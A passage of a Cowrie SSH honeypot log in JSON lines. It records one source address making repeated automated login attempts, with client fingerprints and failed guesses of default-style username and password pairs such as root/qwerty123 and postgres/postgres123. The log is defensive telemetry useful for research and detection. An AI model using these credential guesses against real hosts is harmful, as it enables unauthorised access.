0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:09.298312Z","src_ip":"192.109.200.78","session":"b5be5f16321c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:09.542613Z","src_ip":"192.109.200.78","session":"b5be5f16321c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:10.628752Z","src_ip":"192.109.200.78","session":"b5be5f16321c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39488,"dst_ip":"10.17.0.5","dst_port":22,"session":"089b9aa202ec","protocol":"ssh","message":"New connection: 192.109.200.78:39488 (10.17.0.5:22) [session: 089b9aa202ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:12.584255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:12.592184Z","src_ip":"192.109.200.78","session":"089b9aa202ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:12.673437Z","src_ip":"192.109.200.78","session":"089b9aa202ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:12.917845Z","src_ip":"192.109.200.78","session":"089b9aa202ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:14.001881Z","src_ip":"192.109.200.78","session":"089b9aa202ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39508,"dst_ip":"10.17.0.5","dst_port":22,"session":"99aea261ee6e","protocol":"ssh","message":"New connection: 192.109.200.78:39508 (10.17.0.5:22) [session: 99aea261ee6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:15.939140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:15.946040Z","src_ip":"192.109.200.78","session":"99aea261ee6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:16.027885Z","src_ip":"192.109.200.78","session":"99aea261ee6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:16.500616Z","src_ip":"192.109.200.78","session":"99aea261ee6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:17.585427Z","src_ip":"192.109.200.78","session":"99aea261ee6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39528,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8dacf98f529","protocol":"ssh","message":"New connection: 192.109.200.78:39528 (10.17.0.5:22) [session: e8dacf98f529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:19.543728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:19.547895Z","src_ip":"192.109.200.78","session":"e8dacf98f529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:19.631489Z","src_ip":"192.109.200.78","session":"e8dacf98f529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"1234","message":"login attempt [devops/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:19.874788Z","src_ip":"192.109.200.78","session":"e8dacf98f529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:20.957338Z","src_ip":"192.109.200.78","session":"e8dacf98f529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48316,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e86da468116","protocol":"ssh","message":"New connection: 192.109.200.78:48316 (10.17.0.5:22) [session: 7e86da468116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:22.956964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:22.961233Z","src_ip":"192.109.200.78","session":"7e86da468116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:23.042158Z","src_ip":"192.109.200.78","session":"7e86da468116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:23.289375Z","src_ip":"192.109.200.78","session":"7e86da468116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:24.373298Z","src_ip":"192.109.200.78","session":"7e86da468116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48324,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eff3f3803b6","protocol":"ssh","message":"New connection: 192.109.200.78:48324 (10.17.0.5:22) [session: 4eff3f3803b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:26.280707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:26.334288Z","src_ip":"192.109.200.78","session":"4eff3f3803b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:26.541323Z","src_ip":"192.109.200.78","session":"4eff3f3803b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:26.857521Z","src_ip":"192.109.200.78","session":"4eff3f3803b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:27.942164Z","src_ip":"192.109.200.78","session":"4eff3f3803b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48334,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5008d010339","protocol":"ssh","message":"New connection: 192.109.200.78:48334 (10.17.0.5:22) [session: b5008d010339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:30.007364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:30.013139Z","src_ip":"192.109.200.78","session":"b5008d010339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:30.095537Z","src_ip":"192.109.200.78","session":"b5008d010339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:30.343565Z","src_ip":"192.109.200.78","session":"b5008d010339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:31.426749Z","src_ip":"192.109.200.78","session":"b5008d010339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54690,"dst_ip":"10.17.0.5","dst_port":22,"session":"1951ddeb8296","protocol":"ssh","message":"New connection: 192.109.200.78:54690 (10.17.0.5:22) [session: 1951ddeb8296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:33.382320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:33.386874Z","src_ip":"192.109.200.78","session":"1951ddeb8296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:33.472797Z","src_ip":"192.109.200.78","session":"1951ddeb8296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:33.715519Z","src_ip":"192.109.200.78","session":"1951ddeb8296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:34.914729Z","src_ip":"192.109.200.78","session":"1951ddeb8296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54702,"dst_ip":"10.17.0.5","dst_port":22,"session":"91e68634cb3b","protocol":"ssh","message":"New connection: 192.109.200.78:54702 (10.17.0.5:22) [session: 91e68634cb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:36.786023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:36.790657Z","src_ip":"192.109.200.78","session":"91e68634cb3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:36.871751Z","src_ip":"192.109.200.78","session":"91e68634cb3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:37.450511Z","src_ip":"192.109.200.78","session":"91e68634cb3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:38.534734Z","src_ip":"192.109.200.78","session":"91e68634cb3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54708,"dst_ip":"10.17.0.5","dst_port":22,"session":"d45e82f1433c","protocol":"ssh","message":"New connection: 192.109.200.78:54708 (10.17.0.5:22) [session: d45e82f1433c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:40.644954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:40.649180Z","src_ip":"192.109.200.78","session":"d45e82f1433c","protocol":"ssh"}
